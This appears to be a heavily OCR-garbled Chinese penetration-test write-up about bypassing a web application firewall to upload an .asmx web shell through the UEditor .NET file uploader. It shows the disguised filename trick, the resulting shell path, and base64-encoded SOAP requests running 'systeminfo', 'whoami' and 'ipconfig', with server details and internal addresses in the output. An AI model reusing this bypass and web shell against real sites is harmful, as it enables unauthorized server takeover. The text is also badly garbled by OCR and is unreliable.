EFHKH WAF 508 F B ueditor. net BI%ed

U HW Z 4

7
i ¢co alE [ == == ] 4t |G Ql & © ¥
b - @umagw Daxcwe Bitzerg BEoetsitel @uavan: @umazgmt Assn (R Moooxss Swimes Bxmiic Smmrs Bnowc-n Suimm BMowes) Brelfz $Nesuspo Bgggsd OQme »

-~

rEER

s
L N
=3 FOLP TR 100%

23l KU WAF S BGHTRR 22 4 4]
Aspx ashx asmx FPAEAEA T

i

b X O~ @ | @ file///C/Users/itE/Desktop/ue.html

@ - @ipren Desiikke Bitzoes Meetsitel @gzes: @mxess assn (g [ooozse &wDrwa Bxs|ic BmErs Bnowc-D S#zpzERE [
chell et Eor1015557



[ [
o)
. L
EiRA
RESS
—ERE
T
5, B#
R
RigHEE
!

FHRE: SERNTESS —LTAENNE
AfEIRER :

Copyright©2013- 1) BRSNS,

2020 5 k= - " - —
et B 2) R, EECRSIRE;
31 ALL Rights . . . _
Reserved | 3) RS, EHEREER

ICP&
140141395-1

o nreRmuEER, wareen ([l <wes

HTTP/1.1
200 OK

Content-
Length: 5151

M CRE: Microsof ft NET Framework $§i5%:4.0.30319; ASP.NET §§1i5:%£:4.8.3928.0
=
b 4044BIR (TS E L ERRMERES)
- b IEENAEAE 7
g wKiERE  EEE—R>> ¥
- BHES

SElf ! ERE

EABHEBZEAZ AR IRAMEE T, FoNZ M1 e 4 R 8E 21 E %

XA AT A RS asmx IX SRR T, asmx I aspx ashx A i A—Ff, asmx /& asp.net il i
SOAP WS AE s I TH B I ThRE . KM R geit 1=

A L2 asmx A N a?s?m?x



| &
Li‘ C D~ [ | @ file///C:/Users/iEE/Desktop/ue.html

g - @emes- D | @mags @szsss assn (g @Moookss &

shell addr: }0410111535)pg?.a?s?m?x|

Submit

X E AT UG B2 BT asmx
4 - Ql &

(o0 WimTHesa B xé|iE BRETs Bnrownc-ID SupRE B[oigws) susPro B EEERED

011}535.jpg?.a?s?m?x", Jurl":"upload/image/20230820/6382813133436884212191411.asmx"}]}

SR JE i n] DUR B b T R AT 4%

XA o L — i 1 R

IS LARI AT LAY sl A 2R AL asmx 195y, BEER B IEF

i R AT asmx IR Hk T

AW EHEH burpsuite AT KA, AR, 1 HWAMTE, RE5IE
HEF (3 H AWVSscaner soapui wsdler =Fh T. B

X B B Ad ] AWVSscaner JE 7~

J%Ih getshell

Editor | WSOL Structure WSDL
Service: | PP asmxsmalspy_x0020_ | Port:[T] asmxsmalispy_x0020_ | Operation:| {3 test

Request SOAP |
10 F<SOAP-ENV:Envelope xmlns:SOAP-ENV="http://s
xxxxxx ntep://www.w3.0rg/1999/XMLSChema~1n:
<SOAP-ENV: Heade:/)
<SOAP-ENV:Body>
<urn:test>
<urn:inpuc>c3lzdGVcaWSmbw==</urn:input>

1, s 1 xsd="h
p.0xg/soap/encoding/" xml

xmlsoap.org/socap/envelope/" xmlns:soap="http://sch
xmlns:mO="nttp://tempuri.org/" xmlns:SOAP-ENC="hct)

</urn:test>
</SORE-ENV:Body>
</SORB-ENV:Envelope>

oo R wN

oo © 0|6 % 0 EE——]

Reponse | Structured Data
<testResponse xmlns="hcep:

rver 2016 Standard
10 0.14393 $IET Build 14393
xxxxxx £t Corporation
iﬁ' TR AR
Multiprocessor Free
windows 2JLIF

00377-60000-00000-RAE67
HFE AR #28 2017/11/16, 10:34:35
GERE EBEN: 2023/6/6, 17:41:14
e sromott e, S i

= Y- AR AR 1

Actwvity Window

08.20 12:33.04, [Error] Unable to parse WSDL fle using XML parser. Error: XA IA A IR o

e: 1
Sorr, Page Not Found 3
AppicationLog_Error Log . ;

L1}




WSDL URL: [

Editor | WSDL Structure WSDL

B EOEEES S S 0en: 6068 65302256079, asmx?WSDL

ssmxSmalSpy_x0020_ v | Operation: {3} test

Service: | P asmxSmallSpy_x0020_ | Port;

Request SOAP |
|<SOAP-ENV:Envelope xmin:

.org/"

xmlns im0

1
Xmlns:xsi="http://www.w3.0rg/1999/XMLSChe
2 <SORP-ENV:Header/>

3 <SORP-ENV:Body>

4 <urn:test>

5 <urn:input>d2hvYWlp</urn:inpuc>
6 </urn:itest>

7 </SORP-ENV:Body>

2

9

</SORP-ENV:Envelope>

p://tempur

OAP-ENV="http://schemas.xmlsoap.org/soap/envelope/" xmlns:soap="http://schemas.xmlsoap.org/wsdl/soap/"

xmlns:xsd="htep://wew.w3.

xmlns:SOAP-ENC="http://schemas.xmlsoap.org/soap/encoding/" xmlns:u:

s apppool\160 16- AR AT _RRHE

[Activity Window

08.20 12:33.04, [Error] Unable to parse WSDL file using XML parser. Error: XEPIE REIENFH ©

Line: 1
Sorry, Page Not Found

Application Log_Error Log

SOAPUI % 5 &

SoapUl Start Page

2014 >

'9.asmx -

xmins:soap="

2014_> ®

* xmins tem="

org">

5| <soapHeader>
7[5 <soapBody>
" [l
— <1-Optional.—->
<teminput-aXBb25maW c=</teminput-
</temtest-
<Isoap:Body>
</soap: Envelope>

[ 1+

<]|¢
B

XML

[Raw )

al

Auth Headers (0) Attachments (0) WS-A WS-RM IS Headers

response time: 3543ms (1580 bytes)

JMS Property (0)

HTTP/1.1 200 OK
Cache-Control: private, max-age=0

Content-Type: application/soap +xml; charset=utf-8
Server: Tomcat

X-AspNet-Version: 0

X-Powered-By: WAF/2.0

Date: Sun, 20 Aug 2023 04:38:22 GMT
Content-Length: 1580

Windows IP RSIESE

1 SHEOERED 75 2 H40:

1OBNZIRMED DNS $HELA . .
FROURBIENE IPV6 HARITE.

: fe80:38c1:0e86:6420:1146%11
92.168.0.97
55.255.255.0

52 HUIOGERIED 751 S%0 6:

1OIRIESIERED DNS 835545 . .
1Pv4 gii5iE . :192.168.0.87
55.255.255.0
92.168.0.1

IARSEERFEED isatap.(38CD644E-1C7C-415E-B3CC-354A8AETF587):

EfRAREROD +EIRATR AR OB R0E

<7xml version="1.0" encoding="utf-8"? p:

no|

SSLinfo WSS (0)

116:33

S FR T EIE NB




X7



HE

(B2EAUR

asmx?

ARSI ?

ORI A/ NGB T g




	基于某狗WAF情况下的ueditor.net的绕过

